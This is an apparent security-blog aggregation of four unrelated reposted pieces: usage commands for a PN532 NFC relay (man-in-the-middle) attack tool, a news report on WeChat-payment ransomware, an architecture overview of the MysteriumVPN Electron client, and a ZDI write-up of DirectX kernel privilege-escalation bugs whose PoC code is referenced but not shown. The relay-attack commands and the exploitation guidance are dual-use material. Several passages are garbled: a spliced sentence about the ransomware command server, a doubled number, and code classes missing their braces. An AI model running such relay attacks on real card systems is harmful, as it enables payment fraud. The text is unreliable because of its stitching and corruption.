Use device no. 2 as the READER and device no. 3 as the EMULATOR:

python pn532mitm.py -r 2 3

Use device no. 2 as the EMULATOR and remote system on port 5000 as the READER:

python pn532mitm.py -r 2 reader:

In this video, I run the command:

python pn532mitm.py -r 0 1

Being 0 the first reader and 1 the emulator:

We can play with the code to alter the data in real time which is one of the most useful things for relay attacks. Also, we can copy the APDU commands in a decoder to know the meaning of the tags using https://www.emvlab.org/tlvutils/

Ransomware Infects 100K PCs in China, Demands WeChat Payment

( original text by  )

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services.

The crooks demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent’s WeChat payment service by scanning a QR code.

A report from Chinese security firm Huorong, the malware, dubbed ‘WeChat Ransom’ in some reports, emerged on December 1 and the number of infected systems has grown to over 100,000 as of December 4.

The infection rate seems to have accelerated in one day, rising to the above number from just 20,000 yesterday.

The researchers say that the malware author used the Chinese social networking service Douban to send out commands. After analyzing the malware, they were able to access two servers used for storing data and found on one of them over 20,000 passwords for Taobao and Alipay accounts.

Credentials for other services are also targeted by the malware as it hunts for login information for Tmall, Aliwangwang, Alipay, 163 Mailbox, Baidu Cloud, Jingdong, and QQ.

Stolen data stats

According to information from Tencent, the malware propagated through a compromised popular application designed to manage multiple QQ accounts at the same time. Additional data reveals that the malware author poisoned at least 50 applications to spread the ransomware.

Telemetry data showed that a large part of the victims did not have a security solution installed on the system. This explains the sharp rise of infections despite security companies issuing warnings about the threat since its outbreak at the beginning of the month and updating their antivirus products to block it.

Malware fighters see no challenge

Chinese security companies analyzing the malware agree that it is far from a complex threat that can be easily defeated.

Although it claims to delete the decryption key if the victim fails to pay the ransom by a certain date, file recovery is still possible because the key is hardcoded in the malware.

The simplicity of the file encryption (XOR, not DES as the author claimed in the ransom note) also made it possible for decryption tools from several security companies including Qihoo, Tencent, and Huorong to become available.

Author leaves hard-to-miss trail

Experts from Huorong examining this ransomware string found some details that could lead to identifying and apprehending the malware author.

They discovered a name, a mobile phone number, a QQ account, and an email address that could help police catch the crook. Using the info present in the malware code, the researchers ran a domain lookup and found additional details that connected the dots and possibly leading to the identification of the author.

Tencent on December 1 banned the WeChat QR code for makingnd and control server. the ransom payments and closed the account associated with it. In its turn, the Douban platform deleted the page used by the malware as a command and control server.

A look under the hood of a decentralised VPN Application.

( original text byDonatas Kučinskas )

MysteriumVPN is the client application of Mysterium Network, a project focused on providing security and privacy to web 3 applications.

In this article, we will discuss the architecture of MysteriumVPN and how it integrates with Mysterium Node to ensure an encrypted end to end flow of data through Mysterium Network.

Cross-platform architecture

Usually, you need separate builds for each platform. Now that cross-platform technology has improved, this is no longer the case.

For desktop:

Electron is a framework which allows us to build cross-platform applications using common web technologies such as HTMLCSS and Javascript. We are using Electron which allows us to develop one application for two platforms for desktop — Windows and Mac OSLinux coming soon. Download our alpha.

Under the hood of an Electron application, sits a Chromium browser; A website, rendered by an embedded browser.

For mobile:

We are kicking off our mobile development for MysteriumVPN, with Android versions set to release shortly.

For this, we are using React Native for cross-platform applications.

Most of MysteriumVPN is written in Javascript, which is run in a separate process. Javascript generates the virtual structure of the user interface. This Javascript process communicates to native mobile processes which are responsible for rendering the actual user interface as you see it.

The architecture of MysteriumVPN Desktop Client Application

How MysteriumVPN works on desktop:

Since we are using Electron, we have two processes, MAIN and RENDERER.

MAIN is the first process which is started when the application starts. It is a NodeJS process which is responsible for managing the following functions:

  • Application state and internal operations
  • Tray
  • Kicking off the RENDERER process

The second process is RENDERER and it is responsible for displaying the graphical user interface for the application.

Communication between processes:

Both the MAIN and RENDERER processes need to communicate with each other to stay in sync. For this reason, we are using a standard approach of Inter-Process Communication (IPC).

Javascript is not type-safe, which isn’t very reliable. We use Flow static type checker which adds type-safety for Javascript. This especially applies to syncing data between processes — it becomes less reliable when using out-of-the-box IPC. To improve that, with custom implementation on top to have type-safety.

MessageTransport describes a single typed message which is sent between processes. It creates alignment between both processes by introducing sender and receiver objects, ensuring that both sides expect the same arguments of this message.

Here is an implementation:

class MessageTransport<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
buildSender (): MessageSender<T> {
 return new MessageSender(this._channel, this._messageBus)
buildReceiver (): MessageReceiver<T> {
 return new MessageReceiver(this._channel, this._messageBus)
class MessageSender<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
send (data: T) {
 this._messageBus.send(this._channel, data)
class MessageReceiver<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
on (callback: T => void) {
 this._messageBus.on(this._channel, callback)
removeCallback (callback: T => void) {
 this._messageBus.removeCallback(this._channel, callback)

Here is an example of communication between both these MAIN and RENDERER processes:

Example: communicating country proposal updates between processes:

MAIN process is managing country proposals internally and it sends all updates:

this._countryList.onUpdate(countries => {

RENDERER process listens for country updates,

onCountriesUpdate (countries) {
  this.countriesAreLoading = false
  this.countryList = countries

Having such an abstraction layer ensures that communication is type-safe, reliable and features around it are simple to test.

How do we integrate Mysterium Node with MysteriumVPN Application?

Once we’ve rendered the application layer, we still need to connect MysteriumVPN to Mysterium NodeMysterium Nodeis a software that connects you to Mysterium Network where you are able to exchange value for bandwidth.

MysteriumVPN is a client application of Mysterium Network. The successful running of our dVPN on the network will attract other use cases from existing or future businesses that require end-to-end encryption of data, thereby expanding Mysterium Network’s ecosystem.

We require specific information to ensure the successful running of our dVPNservice.

Operation System Service
Since we are running Mysterium Node under the MysteriumVPN application we need to supervise the Mysterium Node to ensure that it works.

Our Data Protection Policy
We make a clear distinction between personal data and usage data. We do not collect information on who you are. We collect data on session and connection inputs and outputs. This is important data for us as it gives us visibility on how our technology fares against the realities of cyber oppression. Check out our privacy policy for more information.

Since we are integrating Mysterium Node into the MysteriumVPN application, the application itself gets quite complex. That’s why we have to be prepared to log errors from everywhere, — our application, Mysterium Node, and from Electron.

That means that there are three sources of inputs. When we are inspecting something, we need to understand that these errors can happen in three different places. We need to synchronise those and collect all relevant data from these sources.

Data management in the era of web 3 is complex and we hope to do so in an ethical and fair manner. Check out how our no logs policy protects your personal data.

Build on Mysterium Network

We have an npm package that allows for you to connect to Mysterium Nodeeasily. This is the same package that the MysteriumVPN uses to connect to Mysterium Network. This can be used for any application — it’s literally plug and play.

Interested in contributing to Mysterium Network? We are an open source project focused on bringing privacy, security and freedom to web 3. Check out our Github.


( original text by Fritz Sands )

The operating system kernel is the final goal for every great exploit chain. You can look at the entries in the Zero Day Initiative (ZDI) Pwn2Own contests over the years to see that process at work. The Windows kernel has been subject to many points of attack. One of my favorites is abuse of DeviceIoControl calls to various drivers since this allows access to so many drivers written by so many vendors, many of which are not all that well written or tested.

Over the years, most of the attacks to penetrate into the Windows kernel have gone through win32k.sys — a kernel-mode device driver that controls the Windows graphic and window management system. When Microsoft moved this functionality out of CSRSS and into the kernel twenty years ago, it instantly doubled or tripled the attack surface into the Windows kernel — and that has been a rich mine of vulnerabilities ever since.

Another large attack surface has opened up since WDDM (Windows Display Driver Model) supplanted the earlier XDDM over the last decade. Calls to initiate actions by the display system start by going through win32k.sys, but after that there are direct calls by user processes into dgxkrnl.sys and other drivers through entry points in GDIPlus. This expanded attack surface is an inviting target for researchers.

In the spring on 2018, the ZDI purchased five vulnerabilities from ChenNan and RanchoIce of Tencent ZhanluLab that target the DirectX kernel interfaces. These purchases resulted in four CVE’s from Microsoft. This post covers the vulnerabilities and provides Proof of Concept sources published on our site.

Additionally, one of the attacks (ZDI-18-946/CVE-2018-8405) was featured in a presentation by Rancho and ChenNan at the 44CON conference in September. I highly recommend that researchers review the slide deck from that presentation.

An overview of DirectX

Before diving into the vulnerabilities, let’s take a brief look at the DirectX interface and drivers.

The DirectX graphics kernel subsystem consists of three kernel-mode drivers: dxgkrnl.sys, dxgmms1.sys, and dxgmms2.sys. These drivers communicate to the user through win32k.sys and through their own set of interfaces. They also communicate with BasicRender.sys, BasicDisplay.sys, and the display miniport drivers.

DirectX defines a number of complex kernel objects, most of which have names that begin with DXG. The user interfaces with DirectX through a number of complex API entry points , many of which begin with D3DKMT and others of which begin with DXGK.

Here are a few of the more interesting entry points:

D3DKMTEscape — this entry point takes a completely user-controlled blob of data as an input. This data blob can be huge, and so there is a strong temptation to leave it in user memory instead of capturing it in the kernel during the transition to kernel processing. This pattern makes the invoked kernel routine a ripe candidate for forgetting try blocks and for time of check to time of use (TOC/TOU) vulnerabilities. The data is not in a standardized structure, so every driver has different definitions.

D3DKMTRender — this entry point is the heart of actually rendering graphic data. User-address commands and patch buffers are interpreted by the kernel drivers and are, in fact, passed to the miniport drivers. Again, this is ripe for race conditions. Additionally, rendering can spawn worker threads, which make race condition vulnerabilities more likely.

D3DKMTCreateAllocation — this entry point allocates memory. Issues (see ZDI-18-946 below) can arise because of the complex interplay between different flags and handles passed into the API call.

One excellent overview of WDDM from an attack perspective is a 2014 Black Hat presentation by Ilja van Sprundel of IOActive entitled «Windows Kernel Graphics Driver Attack Surface» [PDF]. I highly recommend reading it. The presentation goes into great detail on the complex attack surface of the kernel side of WDDM.

Walkthrough of the vulnerabilities

The Proof of Concept (PoC) sources are found here. If you are going to reproduce the crashes, you need to go back to a version of Windows before August 2018 (when Microsoft patched out the vulnerabilities). Remember to attach a kernel debugger to the machine under test and set special pool on the drivers under attack. I tested these vulnerability reports on Windows 10 x64.

ZDI-18-946/CVE-2018-8405 — D3DKMTCreateAllocation Type Confusion Vulnerability

The first vulnerability we’ll review is in the DXGDEVICE::CreateAllocation method in dgxkrnl.sys, is exposed through the D3DKMTCreateAllocation method, and could allow a local attacker to escalate privileges to System. Our advisory for this can be found here, and the patch from Microsoft is located here. The bug results from the lack of proper validation of user-supplied data, which can result in a type confusion condition.

To see this in action, enable special pool on dxgkrnl.sys before running the PoC. The type confusion results from inappropriate use of the CrossAdapter flag in an allocation. The PoC code uses a CrossAdapter flag of 0 for an allocation, and then passes the resultant handle into a second allocation in which it sets a CrossAdapter flag of 1.

And here is the blue screen analysis:

The faulting code is in DXGDEVICE::CreateAllocation and is a classic type confusion walk off of the end of an allocation:

ZDI-18-947/CVE-2018-8406 — D3DKMTRender Type Confusion Vulnerability

The next vulnerability exists in the dxgmms2.sys driver, and is exposed through the D3DKMTRender method. This vulnerability also could allow a local attacker to escalate privileges to System. Our advisory for this can be found here, and the patch from Microsoft is located here. Like the first example, this bug results in a type confusion condition. While similar in nature, these bugs have different root causes.

Again, you need to enable special pool on dxgkrnl.sys and dxgmms2.sys to see these bugs, and, of course, attach a kernel debugger to your target machine. This type confusion results from allocation operation that gets confused between two different adapters.

Relevant PoC code:

PoC crash details:

Vulnerable code:

ZDI-18-950/CVE-2018-8400 — D3DKMTRender Untrusted Pointer Dereference Vulnerability

This next vulnerability is also exposed through the D3DKMTRender routine. The vulnerability is in the DGXCONTEXT::ResizeUserModeBuffers method in dxgkrnl.sys. Our advisory for this can be found here, and the patch from Microsoft is located here. In this case, the bug is caused by the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. The resulting pointer dereference is due to the driver trusting a flag set by the user. Here are the relevant PoC details:

Which results in the crash:

Called from:

Vulnerable code:

Obviously, this flag from the user should not lead to an arbitrary dereference in the kernel.

ZDI-18-951/CVE-2018-8401 – BasicRender Race Condition Vulnerability

This final vulnerability is a bit more complex, as the vulnerability resides in the processing of the D3DKMTMarkDeviceAsError API and the D3DKMTSubmitCommand API by the BasicRender driver. Our advisory for this can be found here, and the patch from Microsoft is located here. Shared resources are not properly secured, which can result in a memory corruption condition. An attacker can use this to escalate privileges to SYSTEM. This type of elevation is often used by malware to install itself once a user clicks something they shouldn’t. Note that Microsoft gave one CVE for this bug and for ZDI-18-949, indicating an identical root cause.

The PoC code for the two cases are related but differ.

Key part of first PoC:

Each call to SubmitCommand spawns a thread through VidSchiWorkerThread. The call to MakeDeviceError changes the state of the same objects and a race condition occurs.

Here is the resulting crash:

The race condition is between two modifications of the same location:

For ZDI-18-949, you can see the difference in the PoC code despite the same root cause. Here’s the key part of this PoC:

Executing this PoC causes a crash in the Run method:

Here’s the vulnerable code:

The vulnerable code crashes the second time through Run, but not the first time.


WDDM and the DirectX graphics kernel code allow for a very powerful and flexible graphics system for Windows. They do this through use of a number of very complex objects and by creating a number of new complicated interfaces to user code. The Proofs of Concept given here should give you some idea of the complexity of the objects implemented in DirectX and the scope available for future research in this area. I am quite sure that this pond is not fished out.

Direct static analysis could give you attack information. However, this is certainly a daunting task. Another possibility is to set up a fuzzing framework to set different values into different flags and call DirectX methods in different orders and look for a crash. Of course, you can also add multiple threads changing and freeing data to investigate the possibility of race conditions and TOC/TOU. Remember to set special pool on all of the relevant drivers.

As always, when you find new vulnerabilities, the Zero Day Initiative is interested in talking with you. Until then, you can find me on Twitter at @FritzSands, and follow the team for the latest in exploit techniques and security patches.